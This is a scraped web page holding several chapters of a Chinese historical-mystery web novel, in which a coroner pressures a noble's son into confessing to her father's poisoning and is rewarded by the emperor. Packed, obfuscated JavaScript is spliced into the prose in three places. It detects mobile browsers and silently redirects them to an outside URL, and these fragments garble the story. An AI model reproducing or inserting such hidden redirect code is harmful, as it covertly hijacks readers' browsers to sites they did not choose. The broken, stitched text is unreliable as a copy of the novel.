l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16786068|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 去山庄本也是为了你。” “你想要报仇,也算我一个!” 门缝中漏入的霞光染红了丁沱的双眼,点燃了他心口被强压十五年的怨气。 “我不能再躲了!反正我也是光棍一条!我要为了我的夫人孩子报仇!” “你不要抱着我会去杀人的想法。” 丁沱像是冷静了些。 “我知道。你拿纸来,我现在就把供词写下来。” *** 用血写就的供词就放在桌面正中间。 闻蝉看了许久,才拉开桌上小柜子的抽屉。 抽屉里放着一块灰色的骨头。 人在中毒后,骨头会出现发灰或者发黑。 这是阿爹的骨头,在离开汉中前一日,姑母为他们迁坟换棺时,她在棺材里捡到的。 阿爹的死有了些眉目。 至于关键的那个李成芳…… 确实要感谢郑观澜的提醒。 她对着窗户露出一个笑,眼里满是势在必得的意味。 “闻蝉!”卓啸在外面叫门,“带回来的证人都审完了,我把人先送回去?” 闻蝉打开门。 “带我先去看看,我还有些话没有问完。” 二人边走边说。 卓啸面色不太好看。 “裴籍和柳中庭都死了,那后山的案子怎么办?如今只剩下一个李成芳。我听人说李成芳还在家里将养着呢,总不能上李家去抢人吧?” “这事我有我的章程。对了,王子仪呢?” “单独关屋里呢,怎么,你拿他有法子了?” “嗯,先带我去见那个叫戏叶的小娘子吧。” 见了戏叶,闻蝉支走了卓啸,开门见山。 “你在案发那日下午回院子的时候,看见了一个穿着粉衣裳的男子在点蕊她们的房间中?” 戏叶原本就害怕,听这话,更是怕得话都说不出了。 “我……” “你放心,我知道你是怕被牵连才撒谎的。可是,凶手确实是鲁铭。他已经交代那时他早已发现了你,慌乱之下,就套了件粉色衣裳装作李成芳。好让你不敢揭发。”闻蝉和颜悦色,“你很勇敢,只是,这件事确实是要三缄其口。” 戏叶面色这才缓过来。 “是,我明白的。多谢闻仵作体谅。” “我来只是和你说一声,也提醒你一句,知道真相的人只有鲁铭和我。鲁铭已经被金吾卫带走处决,此事你就把它烂在肚子里,尤其是你偷了李成芳的手帕的事情,不要对任何人说,明白吗?” 戏叶重重点头:“我记住了。” 闻蝉拍了拍她的肩膀,打开门。 卓啸还在外面等着,靠在树上。 “问完了?” “嗯,你让小梁带几个人把证人们都先送回去吧。” “王子仪呢?”卓啸指了指旁边的房间。 “他?不着急。” “王家已经来人催过了。” “又不是不放,催什么,先让人撑着。” 卓啸提醒道:“你不会想着对他动刑吧?那可是王家的人,你得罪不起。” “我又不傻。”闻蝉扔下一句,“找个干净牢房让他先住着。” 就这样,王子仪被大理寺留了三日。 王家人急得直接找上了大理寺的寺卿徐数。 徐数倒是痛快,嗯嗯啊啊了几句,只说是王子仪在配合一起案子的调查,当即就把人放了。 这让王家人都糊涂了,他家郎君也没被虐待就白白关了三日,这是图啥呢? 不过人能回来就好,王家势力大不如前,也不再计较。 龙门山庄的事情以裴柳之死和鲁刘被秘密处决为结果。 事情似乎就这样结束了,后山的那几十具枯骨,平康坊哀戚的哭声,都将要湮没。 直到有一日…… 21. 连环妙计 十一月二十。 闻蝉如同往日一般,早早就起了床,洗漱后给爹娘上了香,背起验尸箱就出了门。 她就住在距离大理寺很近的布政坊,出了坊门,沿街摆着不少早食摊子。 闻蝉径直走向一家插着红色小旗子的炸糕小摊儿。 鼓鼓囊囊的炸糕在热油中翻滚。 “阿蝉来了!”小摊儿的老板娘热情招呼着,“还是老规矩?” “自然!”闻蝉一边等着一边和老板寒暄,“慧娘子最近生意越发好了,怎么没见你家小娘子?” “她今儿要去相看,我让她就别跟来了。”老板娘手脚十分麻利,把金黄的炸糕用油纸一包递给她,“今儿下午还给你留碗面皮?” 闻蝉把铜板扔在旁边的木匣子里。 “老规矩嘛。” “行,你慢走。” 闻蝉啃着豆馅儿的炸糕朝着大理寺走去。 街道两边的人也越来越多,一番欣欣向荣的景象。 谁能想到,十八年前还是乱世呢? 闻蝉哈出一口白气,朝着大理寺的方向望去。 也不知道那边的情况如何了。 *** 李成芳的伤并不算重,他当时躲得快,挨那几刀都不深。 只是有一点……伤的地方太要命了! 那个贱民,竟然伤了他的命根子! 养了这几日,伤口是都收敛了,唯独这处最重要的伤没有任何起色。 李家找了许多大夫也只是摇头。 今儿一早,他的三弟李成学偷偷摸摸来找他,说在颁政坊里有个神医,专治他这毛病。 一番舌灿莲花,李成芳听得意动,立即点了头。 为了不声张,在李成学的建议下,二人连个仆人都没带,悄悄溜了出去。 想到自己的病一治好,就能重展雄风,李成芳心里美得不行,一路上都在悄摸盘算先去找哪个娘子风流。一直走到顺义门时,突然扑上来的大理寺衙役打断了他的美梦。 “干什么?!” 卓啸才不听不理,一把将李成芳反剪住,押着就往顺义门里走。 “放开!”李成芳毕竟受了伤,一点儿反抗的力气都没有,只能张口骂人,“你们这些下贱差役,知不知道本大爷是谁,本大爷是陛下的亲表弟,你们竟然敢对本大爷无礼!” “你在龙门山庄犯下数起命案,大理寺是奉命抓人。”卓啸得意一笑,“只是没想到今日你会自己送上门来,倒是省去了我们不少功夫。” 李成学急得跟上去。 他不敢和差役们动手,只絮絮说着。 “卓捕头,我家二哥向来老实,怎会杀人?是不是有什么误会?” 差役将他一把推开。 卓啸说道:“人证物证皆在,不会有假!李三郎,你莫要再纠缠,不然连你一起捉进去!” 李成学现在可是自己唯一的救命稻草,李成芳怎么舍得放手? 他大喊着:“三弟救我啊!” 李成学自然不可能坐视不理,步步紧随。 一群人一路撕扯进了大理寺,惹得路两边的其他衙门和皇城护卫议论纷纷。 而慢悠悠吃完炸糕的闻蝉只晚了几步。 她和守门的护卫打了个招呼。 “张二哥早啊。” 那护卫凑上来,神秘兮兮问道:“闻仵作,你们大理寺又破什么大案了?” 闻蝉装出一脸懵懂:“啥?” “你和我们还装什么!”另外一个护卫也凑了上来,指了指大理寺的大门口,“就方才,卓啸把李成芳给逮了!” “哦~是这事儿啊!”闻蝉点头,“是啊,就是前段时间龙门山庄的案子,那后山挖了几十具尸体,是裴籍柳中庭和他一起干的。” “怎么查出来的?” “是王……”闻蝉拍了一下嘴,“别瞎打听,反正是我们运气好,找到了证人证物。” 那俩护卫听着了一个“王”字,也没再揪着问,只好心道:“李成芳可是陛下的亲表弟,你们这案子啊……小心得罪人。” 闻蝉满不在乎耸耸肩:“我只是个小小的仵作,得罪人的事情还轮不到我。”她摆摆手,“走了。” *** 回了大理寺,卓啸就在监牢门口等着她。 “来得还挺早啊。” 闻蝉知道他为了抓人辛苦一番,诚心道谢:“多谢你了。” 卓啸指了指里面:“人我带进去了,你自己去审。记得请我们下馆子。” 闻蝉拍着胸脯保证:“那是自然!就明日,下值后我请你们吃羊肉锅子,去西市吃!” “算你有良心。”卓啸满意离开。 闻蝉进了监牢,径直去了关押李成芳的牢房。 牢房是特意安排的,四周都是空着的,李成芳的叫喊声在监牢里回荡着。 “你们胆大包天!连我们李家的人都敢抓!知不知道我们李家是谁!先太后可是我的亲姑母!我爷爷我爹当年追随先帝光复大周,居功至伟,你们竟敢这样对我们李家,是不想活了吗!你们就等着吧,我娘一定会进宫……” “李郎君。”闻蝉站在他的面前,摆着一张冷脸。 “阿蝉?”李成芳立即停下叫骂,走了过来,笑得亲近,“你可算来了,这些人非冤枉我杀人,你快让他们把我放了。” 闻蝉被他的愚蠢行径逗笑了。 “本就是我让他们抓的你。” 李成芳脸上闪过一丝慌乱,不敢看她。 “你应该很清楚,今日为何要抓到了你。” 李成芳后退了两步。 “龙门山庄的事?那和我没关系。”他飞快说道,“人都是裴籍和柳中庭杀的,我和他们不一样,我没那个癖好,那些事和我可没关系。” “可有人指证你啊。”闻蝉拿出一张供词,上面按着一个手印,还写了王子仪的名字。 李成芳伸长了脖子,眯着眼看了看,那上头的人名让他感到不可思议,连声音都尖利了起来。 “王子仪?” “王子仪指认你参与了裴籍等人杀人的事情。” “他放屁!”李成芳急得跳脚,“他怎么可能知道山庄的事情!你这是假的!” 他的手从监牢中伸出,作势要抢。 闻蝉微微侧身,躲开。 “王子仪这一手字,全天下没几个人能模仿。我可没造他的假的本事。” 李成芳被搞得有些懵。 按理说,王子仪这个小辈怎么也不会知道这些事啊,他怎么会莫名其妙指证自己呢?虽然那其中有几个人是他失手杀了的,但是,知道此事的人应该只有裴籍他们啊! 可闻蝉说的也不错,王子仪于书法一道,相当有造诣,谁能仿出他的字迹? “还有这个。”闻蝉掏出一方粉色帕子,“也是王子仪给我们的。” 李成芳面色一变。 这不是他的帕子吗! “我……这……”他努力稳住,挤出一个笑脸,“阿蝉你要信我啊,这么多年,我的为人如何你是清楚的。即使你父亲做了那样的事情,我还是看在你母亲的面子上,那么照顾你,就凭这一点,我也不是那种人啊。” “你把我真当傻子了?”闻蝉气得发笑,“你还敢和我提我爹娘?” 她拿出丁沱的供词晃了晃。 “当年被你们威胁追杀的丁大夫并没有死,他已经写下血书,上面写得清清楚楚,是你们李家指使县令在行刑的杖木上做了手脚导致我爹中毒!丁大夫发现此事后,还遭到了你们多年的追杀,致使其妻儿全部被害!” 李成芳是真的慌了。 他从来没有想到,那个大夫竟能被她找出来。 “你想做什么?”他沉下脸,眼神中的阴毒显现出来,“我提醒你,你母亲的卖身契一直李家手里,就是李家的奴婢,她和人私逃被我们带回惩罚不小心失手打死,这不是大事,你父亲拐带别人家中奴婢,本也该挨板子。” “可笑!你夫人当时亲口同意将我娘嫁给我爹的,怎么就成了私逃?!我爹娘成婚后一直在汉中生活,从未避人,我都十岁了!你们才发现他们私逃?你这谎话未免编得太过荒谬!” 李成芳的小心思被揭穿,本就不太聪明的脑子哪里还转得过来弯? “所以,你把我抓进大理寺是为了你父母的事情?” “你自己选吧。要么就认下王子仪指证你杀人的罪,要么就认下你当年的罪。” 李成芳感觉到自己的衣裳都被打湿了。 “你先把我三弟叫来。” “你叫他也没有用。” “你想让我认罪,就先满足我的要求!”李成芳看似理直气壮,实则心里早就六神无主,背在身后的手一直在冒汗。 此刻,他只能寄希望于自己的三弟能不能给他出个好主意。 片刻后,闻蝉点头。 “好,我去叫他过来。” *** 李成学就在闻蝉的值房内等着她。 他翘着腿喝着茶,悠哉悠哉,一点儿也不像方才那副为了自己哥哥心急如焚的好弟弟模样。 门缓缓推开,闻蝉走了进来。 李成学站起身,语气熟稔。 “怎么?他如何说的?” “和我计划一样。”闻蝉笑了笑,“他现在就指望着你呢,闹死闹活要见你一面。” “这是自然。”李成学拍了拍衣角,“我可是个好弟弟啊!” “等会儿我就带你进去,你记住,我嘱咐你的东西千万别忘了,还有回去之后,李家人若是盘问你,你该如何应对,都要按照计划来,不能出半点错。” “我记着呢!”李成学按了按自己狂跳的胸口,想要让自己冷静下来,“这么多年了,临门一脚,我绝不会出错。” “你得意得也太早了,你家大哥是没有后,可你家那个早死的四弟可还留了个儿子吧?” 李成学大笑两声:“李翱?那小子的事儿我还没和你说呢!” 他一脸的幸灾乐祸,让闻蝉来了兴趣。 “哦?他怎么了?” “我前段时日才查到的,李翱不是我四弟的亲儿子。” “是有意思。”闻蝉问道,“准备把事儿揭开?” “这事儿年久日远,没有实证。那个老妖婆又疼爱着唯一的孙子,没那么好下手,我得等个机会,说不定还要你配合我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16792129|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 呢。” “这是小事儿。我们合作这么久了,互相帮忙是应当的,到时候你找着了机会,还是按照老规矩联络便是。” 二人说完才出了门。 一出门,闻蝉又绷着脸,李成学也恢复了往日那副低眉顺眼的样子。 二人之间隔得开开的,像是完全不认识一般。 进了监牢。 李成芳见到自己弟弟,激动得都跳了起来:“三弟!” 李成学演技也极好,当即吧嗒嗒掉了眼泪。 “二哥,你受苦了!” 闻蝉一脸不耐烦:“要说什么就快说。不然就滚蛋。” 有了自己弟弟在身边,李成芳又直起了腰杆儿。 “我和我弟弟说话,你先出去。” 闻蝉哼笑:“我不出去又如何?” 李成芳哑口无言。 他还真不能怎么样。 还是李成学说道:“闻仵作,您请行个方便吧,不然这样僵持着也没有意义,不是吗?” 闻蝉这才点头,转身走到了远处。 李成芳探头探脑看了好几眼,十分警惕,见闻蝉扭过头才拉着自己三弟小声说道:“王子仪指认我参与了裴籍他们杀人的事情,还有我的物证。” “什么?王子仪?我们和他们王家无怨无仇啊?” “谁知道怎么回事!反正我现在只有两条路可选,要么认下龙门山庄的事情,要么认下闻立德和春景的事情。三弟,你是个聪明人,给哥哥出个主意!”李成芳弓着腰,抹了抹鼻尖的汗,期盼地看着他。 李成学没有犹豫。 “选后者。” “可闻蝉调查这案子多年,我怕她不会轻易放过啊!” 李成学拍了拍他背。 “二哥,你先听我说说缘由。” 若是平常,李成芳肯定没这耐心,但今时不同往日。 “你说。” “前一个案子牵扯到裴籍和柳中庭,这二人已经死了,裴家和柳家为了名声定然会从中作梗,把事情都赖在你头上,让你一个人背黑锅。山庄的事情我听你说过,死的人都是裴家仆人,不是我们家的啊。你若认下,指证你的王家,真正的凶手裴家柳家定然会合力把你的罪名坐实,无论如何,你难逃一死!” 李成芳大惊失色。 李成学继续说道:“可闻立德和春景的事情就不同了。春景是我们家的仆人,只要我们咬死是闻立德拐带春景私逃,你最多也就只是个流刑,没有其他人插手,家里周旋一二是很容易的。” 李成芳听得连连点头:“三弟,还是你处事老成啊!我就说这个闻蝉怎么有了证据还让我选,竟是有个杀招在这里等着我!” “事情不大,二哥安心。等会儿我就回去找家里商量,等母亲进宫和陛下说几句,这事儿就按下去了。” “好,好,好。还是你靠得住。” “都是亲兄弟。只是……”李成学小声道,“二哥,你知道,我不是母亲所出,母亲也待我不亲近,有些话,我说,怕是她不会信,不如你把事情先写下来?到时候我交给母亲,母亲定然会相信的。” “行,写什么?” 李成学摸出纸笔。 “先报个平安,再写王子仪指认你的事情。” 李成芳没有丝毫犹豫,接下纸笔,刷刷刷写了起来。 得了他的亲笔书,李成学的任务就算完成,安抚了李成芳几句就叫来了闻蝉。 李成芳此时“成竹在胸”,气定神闲对着闻蝉说道。 “我已经选好了,选后者。” 闻蝉假装流露出一丝失望,把纸笔给他。 “好,你先把供词写下。” 李成芳很是爽快,几笔写完,甚至不需要催促,自己就把手印按了。 闻蝉拿起供词看了几遍,确定没有问题才将供词放好。 “如此,你我也算恩怨两清。” 李成芳盘腿坐在地上,老神在在,仿佛是在劝告她一般。 “你会后悔的。” 闻蝉只是笑:“后悔没有现在宰了你吗?” 李成芳不仅没有被激怒,反而好脾气说道:“你应该对我好些。” “二哥!”李成学连忙制止他,又给闻蝉掏了些银子,“闻仵作,看在我的薄面上,莫要和他计较。” 闻蝉毫不客气收下:“是看在银子的份上。”她转身,示意李成学跟上,“走吧,李郎君,我送您出去。” 二人很是默契,出了监牢,先回了值房交换消息。 李成学把李成芳写下的信递给了闻蝉检查。 闻蝉见没有问题,才把信还给他,还顺道附赠了一沓卷宗。 “这两样交给老虔婆就行了,说辞你自己想。” “小问题。”李成学问道,“你想要的供词已经到手,准备怎么做?不是我给你泼冷水,你这东西交上去作用也不会太大。” “我有我的打算,你就别管了。” “行——”李成学伸了个懒腰,“起了个大早忙了这么多事,我也该回去了,不然他们得急了。” 想到李家此刻定然是人仰马翻,闻蝉扬眉一笑。 “快去吧,都等着你呢!” 22. 手中权衡 还有一个多月就要过年,李家得了皇帝的赏赐,欢天喜地,家里挂红着绿,打扮得像是要办什么喜事儿一般。 尤其是李家的徐老夫人,还没过年呢就换了红衣,头上簪红花,脖子上也挂着沉甸甸的金项圈,像是要唱大戏似的。 李家大房和三房的夫人早亡,只剩下二房的小徐氏徐婉管家,徐婉是徐老夫人娘家侄女,婆媳关系自然非同一般。 见自己婆婆在兴头上,那好听的话自然也是一堆一堆往外掏。 “瞧瞧陛下的赏赐,这京里除去丞相护国公他们就没有谁比得过咱们李家了,可见陛下还是最念旧情,心里记着您这个舅母呢!” 徐老夫人心里得意,笑得满面红光,嘴里还是说着:“是陛下仁厚。”她扫了一眼,“怎么今儿不见二郎?” 花心浪荡的李成芳,怎么可能会和徐婉处得好? 徐婉笑容一僵。 “您知道,他这几日不舒服着呢。” 说到此事,徐老夫人就面露愤愤。 “那贱民一死都不足以泄老身心头之恨!” 徐婉眼底却滑过一丝快意,嘴里还是附和着。 “这年节前呢,婆婆莫要动气。夫君福大命大,您想想齐国公那边……”她奉上一盏茶。 徐老夫人接过茶水抿了一口 三个人同时被刺杀,就李成芳活了下来,他们运气确实不错。 “母亲!母亲!”李成学慌慌张张跑进来,“出事了!” 徐老夫人把茶盏重重一放。 “不成体统!” 徐婉急忙起身训斥。 “三弟!这大好的日子说什么晦气话!” 李成学喘着粗气。 “二哥被大理寺的人给抓了!” “什么?!”徐老夫人猛地站起身,“大理寺的人敢抓他?!” 李成学利落跪了下来。 “今儿一早,二哥说要出去散心,我担心二哥出事便跟着一起出了门。刚走到顺义门,就碰上了大理寺的差役。那些差役凶恶得很,抓起二哥就走,说他杀了人。” “杀人?什么时候的事?” “龙门山庄挖出来那些尸骨……”李成学畏畏缩缩抬起头,“有二哥的事。” 见他的模样,徐老夫人就知道大理寺没冤枉人。 “他们可有证据?就随意抓人?” 李成学左右看了看,向前膝行了几步。 “有的。我找了个监牢里的衙役打听的,有人指证不说,那人还有物证。” 他拿出之前李成芳亲手所写的求救信双手奉上。 “这是我想办法见到二哥后,二哥让我带给母亲的。” 徐老夫人一把拿过,看了一遍,很是疑惑。 “王子仪?” “那衙役说,王子仪在大理寺呆了三日才走,我想应该就是那时,他指证了二哥,不然他能心甘情愿在大理寺待上三日吗?” “我们和王家向来无仇无怨……他王子仪为何要和我李家过不去?” 李成学小声提醒:“大理寺,闻蝉……” 徐老夫人眼神慌乱了一瞬。 “那个逃妾生的小野种?” “是,我想定然是她从中作梗。” 徐老夫人摇头:“她和王子仪又没什么关系,怎能让王子仪出面?” 李成学拿出卷宗,贼兮兮塞给她。 “母亲,这是我……顺来的,我觉得和这事儿脱不开关系。” “采花贼”三个大字陡然映入眼帘。 徐老夫人定睛一看。 “把柄?!” “没错,闻蝉应该是用这个把柄威胁了王子仪。” 徐婉也凑过来看,看得花容失色。 她虽厌恶李成芳,但也不愿他背上人命官司啊! “这可如何是好!” “孩儿有个法子,不知当讲不当讲?” 虽平时不喜这个儿子,徐老夫人此刻也无人可靠,慌得病急乱投医。 “你说便是!” “为了按住王子仪这件事,王家定然会竭力在二哥的事上出力,好和闻蝉达成合作。不如,我们直接釜底抽薪……把王子仪的事情给抖搂出来!一个采花贼说的话,值得他人相信?只要坏了王子仪的名声,那些指证便做不得数了。母亲,龙门山庄的事我清楚,二哥也是被牵连,主要还是裴籍和柳中庭干的。可是,若真东窗事发,裴家和柳家定然也会联合起来把黑锅都扣在二哥头上!到时候,我们面对的就是三家人啊!” 徐老夫人缓缓点头。 “你说的有理。二郎如今怎么样了?” 李成学垂下头。 “是我没本事,只见到二哥一面,有那闻蝉在,我也实在不能为二哥做些什么。” 徐老夫人今日对他温和不少。 “徐数和那个蔡真都是走不通的门路,也怪不着你。”她抬手扶起他,“今儿幸亏你跟着,不然你二哥定会着了那个闻蝉的道!” 李成学眼睛红红的。 “都是一家人,应当的。只是母亲,此事一定要快,大理寺还闻蝉在,若她用什么手段在二哥身上,我怕二哥扛不住。当年之事……” 徐老夫人背后窜起一阵寒意,她合上眼。 “让人叫大郎赶快回来。” *** 而另外一边,作为执棋者的闻蝉揣着卷宗和一坛子酒上了护国公府。 护国公府的管事见她十分热情,都不通报,直接带着人去了书房。 “国公前几日还说呢,怎么没见着您,您今日就来了。” “这不是要过年了嘛,我这个晚辈也得给国公送点年礼啊!” “您能来,国公就够欢喜了。” 管事在书房外喊了一声。 “阿郎,您猜猜是谁来了!” 一个黑面络腮胡大汉走了出来,虽瞧着年纪不小,但依旧气势迫人,浑身满是凶煞之气。 此人正是皇后的父亲护国公。 “国公最近可好?”闻蝉拱手行礼。 “阿蝉呐!”护国公咧嘴一笑,凶煞之气顿然消失,反而显得有些憨厚,“你还知道来看看我!” “最近不是忙吗。昨儿在朋友那儿得了一坛子西域美酒。”闻蝉提起坛子,“一下就想到您了。” 护国公大掌一挥。 “去弄些下酒菜来,我和阿蝉今日痛痛快快喝一顿!” 管事摆了一桌子的菜。 闻蝉把酒给倒上。 “这是什么酒啊?”护国公鼻子动了动。 “是西域来的葡萄酒,您尝尝。” 自前朝之乱后,西域通商之路十分艰难,这葡萄酒也成了少见的东西。 护国公拿起酒盏,细细一品。 “嘶哈!绝了绝了!这酒真是绝了,润口润口!” 闻蝉对酒不喜欢也不讨厌,但是也捧场的浅浅喝了一口。 “我可听人说了,你前些日子又办了个大案!” 闻蝉无奈一笑:“您是又想听故事?” “快说说!外头的人说的都是真的吗?” 闻蝉把那案子简略讲了讲。 护国公一听果然皱起了眉头。 “这些人,太不像话!拿人命当什么了?” 护国公出身富而不贵,对被欺压的人自然更能感同身受。 “不说这些,到现在人还没归案呢。”闻蝉喝下一口酒。 “你不是把李成芳抓了吗?”护国公双眼闪烁,目露精光,“王家也闹出事来,这几日京城热闹非凡啊,这也是你干的吧?” 闻蝉很是坦然。 “自然,也就我如此厉害了。” 护国公哈哈一笑。 “你这一手确实是狠!怎么样?得到自己想要的东西了吗?” 闻蝉脸红了红。 “我就知道瞒不过您。”她拿出丁沱的供词,“劳烦您帮我转呈陛下了。” “你对我有救命之恩,这事就包我身上!”护国公看了一眼,面露迟疑,“只是……就这些怕是不足以让李成芳伏法啊。” “我还有后招,您就甭替我操心啦。”闻蝉对他耳语几句。 护国公听得连连点头:“好法子。”当即把供词揣怀里。 “虽不知你怎么打算的,但不管怎么样,有事,就找我。” 对这位多次帮过自己的人,闻蝉心里一直很感激。 “放心,我这不就是来麻烦您的吗?我才不会客气呢。” 护国公哈哈一笑。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16798013|190345||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “就喜欢你这样!爽快!先喝酒,喝完我们俩过几招,瞧瞧我之前教你的可有成效!” 闻蝉笑眯眯的:“那就请护国公手下留情了!” *** 皇帝看着面前堆积成山的奏折,不顾仪态嚎叫了一声。 身旁的内侍王安得劝慰道:“都是参来参去的破事儿,陛下不看也无所谓。” 皇帝这下被打开了话匣子。 “你说说,这些人都是怎么回事?!王子仪,一个世家公子,去做采花贼?还牵连了卢家?还有那个李成芳,连杀数人?!吃饱了撑没事儿干吗?这两家人自己屁股都不敢干净,还敢参这个参那个?这京中子弟,越发不像话了!” 王安得也觉得这些人行径十分过分,但这话可不能他来说。 “陛下稍安勿躁,一件一件理过来就是了,您一定得保重龙体,为了这些人动气不值当的。” 皇帝重重叹气。 “李家……李家!若非看在母亲和舅父的面子上……” “陛下,护国公求见。” 皇帝一听护国公的名字,脸上一下笑开来。 “快请三叔进来!” 先帝还未发迹之时,就和镇国公护国公结为了异姓兄弟,三人感情和亲兄弟无异。 护国公走了进来,行完礼,看着皇帝惯常感叹一句。 “陛下又瘦了!” 王安得腹诽:这肉丸子似的陛下,浑身上下哪个地方和瘦能沾得上边儿? 皇帝十分委屈:“三叔,朕好累啊!”他拿起奏折摔在桌上,“你瞧瞧这些人,要过年了还给朕找事儿!” 护国公不好意思地摸了摸鼓囊囊的袖子,黑脸透红。 “其实臣……” 皇帝麻木伸出手:“来来来,又是什么事。” 护国公将两份供词奉上。 皇帝接过供词不过才扫了一眼,脸就黑透了。 “又是李成芳!” 他一边看一边念叨:“舅父走得早,他们兄弟疏于管教,闹了一出又一出的事……” 护国公给皇帝解释来龙去脉。 “这个闻蝉就是之前在京郊救了臣的小娘子。臣原先听她说起过家中父母的事儿,一个十岁的小孩,就这样没了爹娘,实在是可怜……” 皇帝对闻蝉印象很深。 护国公爱喝酒,有次酒后骑马,不知怎么回事,马匹突然发狂。正好碰上去京郊办事的闻蝉,闻蝉胆子也大,见那烈马发狂竟敢出手,才救下了护国公。 除去此事,近年来许多大案的卷宗上也有她的名字。 是个好人才。 他将供词反扣在桌上,按了按额角。 为什么这么缺德的人是他亲戚! “那个闻蝉就是大理寺那个女仵作,蔡恒定带着那个?” “是,当年蔡少卿在汉中做官,和这孩子早就相识。” “这样吧,先让人把李成芳转进御史台,让御史台看着办。” 隔开闻蝉和李成芳。 皇帝保人的态度已经很明显了。 护国公也没有多言。 “审案时确实应该避嫌。” 皇帝感到些许欣慰,面色也缓和不少:“只是,这孩子也确实可怜,一个人孤苦伶仃的,这又要过年了……” 护国公趁机道:“陛下要不要赏个大的抚慰一二?” 皇帝失笑:“什么叫做赏个大的?” “这孩子现在吃穿是不愁,就是这身份……” 皇帝倒是很爽快。 “她在大理寺也立下不少功劳,脱籍也是应当的。” “只是脱籍啊?” 皇帝微微一笑:“三叔还要为她求什么?” “陛下您想想,那赦令要是只有脱去贱籍也太短了,看上去都不好看呀,若是在后面加上个赐个什么官位,多好看啊!” “你胃口还真大!”皇帝有些迟疑,“这孩子是个小娘子啊……” “本朝女子封侯也是有旧例的,不过封个小官儿……陛下不会舍不得吧?” 皇帝思虑片刻,到底不好拂了自己三叔兼老丈人的面子,再加上这事儿吧……确实是他家亲戚不地道。 “王安得,大理寺哪个位置有空缺?” 23. 年节喜哀 郑士化任着中书令一职,事务缠身,最近这几日才有空歇下来。 因着皇帝今年莫名其妙把春闱举子面圣的时间改到了正月初一,他特意在今日将家里人都叫在一处办个家宴。 家宴的主角是郑观澜,就连位置就在郑士化左手边上。 至于另外一个也要参与科举的郑观云…… 考上的可能性不大又是隔房亲戚,自然被所有人无视了。 家宴将要结束。 “六郎,准备得如何?”郑士化问道。 “请大伯放心。” 郑士化欣慰点点头:“你大哥二哥他们读书都不如你,郑家就等着你给争口气了。” “侄儿会尽力。” 这孩子说尽力就是真尽力,郑士化最放心他不过。 “对了,三弟,你前几日办了个宴会?那些孩子你都见过了?” 郑家三房的郑士怀是个怪人,无妻无子,日日与书画作伴,反倒在文坛中混出了地位名气。 “有几个很不错。但怎么论,我们六郎也是拔尖儿的,大哥你就放心吧。” 郑士化放下筷子。 “我记得有个叫颜青的?” “是颜家本家亲戚,一直在老家前段日子才来。” “六郎,你和他似乎相熟?”郑士化对着郑观澜问道。 “我们报到那日遇见的。他与颜九郎自小认识,九郎就将他拉上一起了。”郑观澜对这个新朋友很是欣赏,“十六年少多才,品性纯良。” 郑士化呵呵一笑:“知根知底就好。” “六弟还是这样老实。”一个油头粉面的青年说道,“三叔都说此人是你此次折桂最大的对手,你倒好,还和别人交上了朋友?” “但凭各自本事。”郑观澜自有自己的傲气。 “是你弟弟比你争气。”郑士化训了二儿子一句,也觉着累了,“时辰不早,你们都先回去吧。” 众人都起了身。 “六郎,你跟我来。”郑士化也没管对方应没应,直接抬脚朝着书房走去。 郑观澜看向自己父母牵着弟弟的背影,转过头跟上了郑士化。 小路两边都没有人,郑士化走得很慢,语气也柔和不少。 “这几日王家和李家闹得厉害。” 郑观澜知道他为何提起此事。 “是我将李家揭发王子仪之事捅到王家的。” “你做的没错。”郑士化轻笑,“自作孽不可活啊,万幸的是你表妹和那混账的事还未定下。不然,我该如何向鲁王殿下交代。” 郑观澜以为他又要旧事重提,急忙道:“伯父!” “嗯?”郑士化停下脚步转过头,“我知道你的心思,你表妹和你的事就算了吧。” 没想到一直撮合自己和表妹的伯父忽然松口,郑观澜长舒一口气。 “多谢伯父体谅。” “当年,你父母在边关,你才一岁就养在我跟前,我能不知道你在想什么?只是你婚事也不能再拖了,等这次春闱结束后,就让你伯母帮你相看吧。” 郑观澜沉默了片刻。 “不着急。” 郑士化也没揪着说,反而问道:“前些日子那个龙门山庄案发的时你也在场?” “是。” “见过大理寺那个闻蝉了吗?” “见过。”郑观澜蹙眉,“脾气很大。” 力气也很大。 郑士化倒是面露赞赏。 “本事大的人脾气都大。” 因着那一点不想让伯父知道的小秘密,郑观澜说起其他。 “伯父,过完年就要搬进贡院了,我还要收拾些书带走,就先回去了。” “去吧。”郑士化关切拍了拍他的手,“虽说科举重要但也不要熬夜苦读,反而伤身。” 郑观澜心头一暖。 “是,伯父。” 回到家中,其余的院子烛火都暗了。 郑观澜只能回了自己的院内。 屋内,成生正在收拾着行李,见他回来急忙迎上去,一边给他脱下大氅一边说着。 “郎君可知,今儿发生了一件大事。” 郑观澜疲倦地靠在软榻上假寐,一只黝黑发亮的猫儿跳上软榻,卧在他跟前。 他有一搭没一搭摸了摸猫脑袋。 “王家李家的事情有结果了?” “不是,是闻仵作!” “闻蝉?”郑观澜坐了起来,“她怎么了?” 成生笑眯眯的。 “现在不能叫闻仵作,得叫闻录事了。陛下今日的赦令,闻娘子脱籍为良,授予大理寺录事的官职。” 郑观澜很是意外。 “陛下为何突然厚赏?” 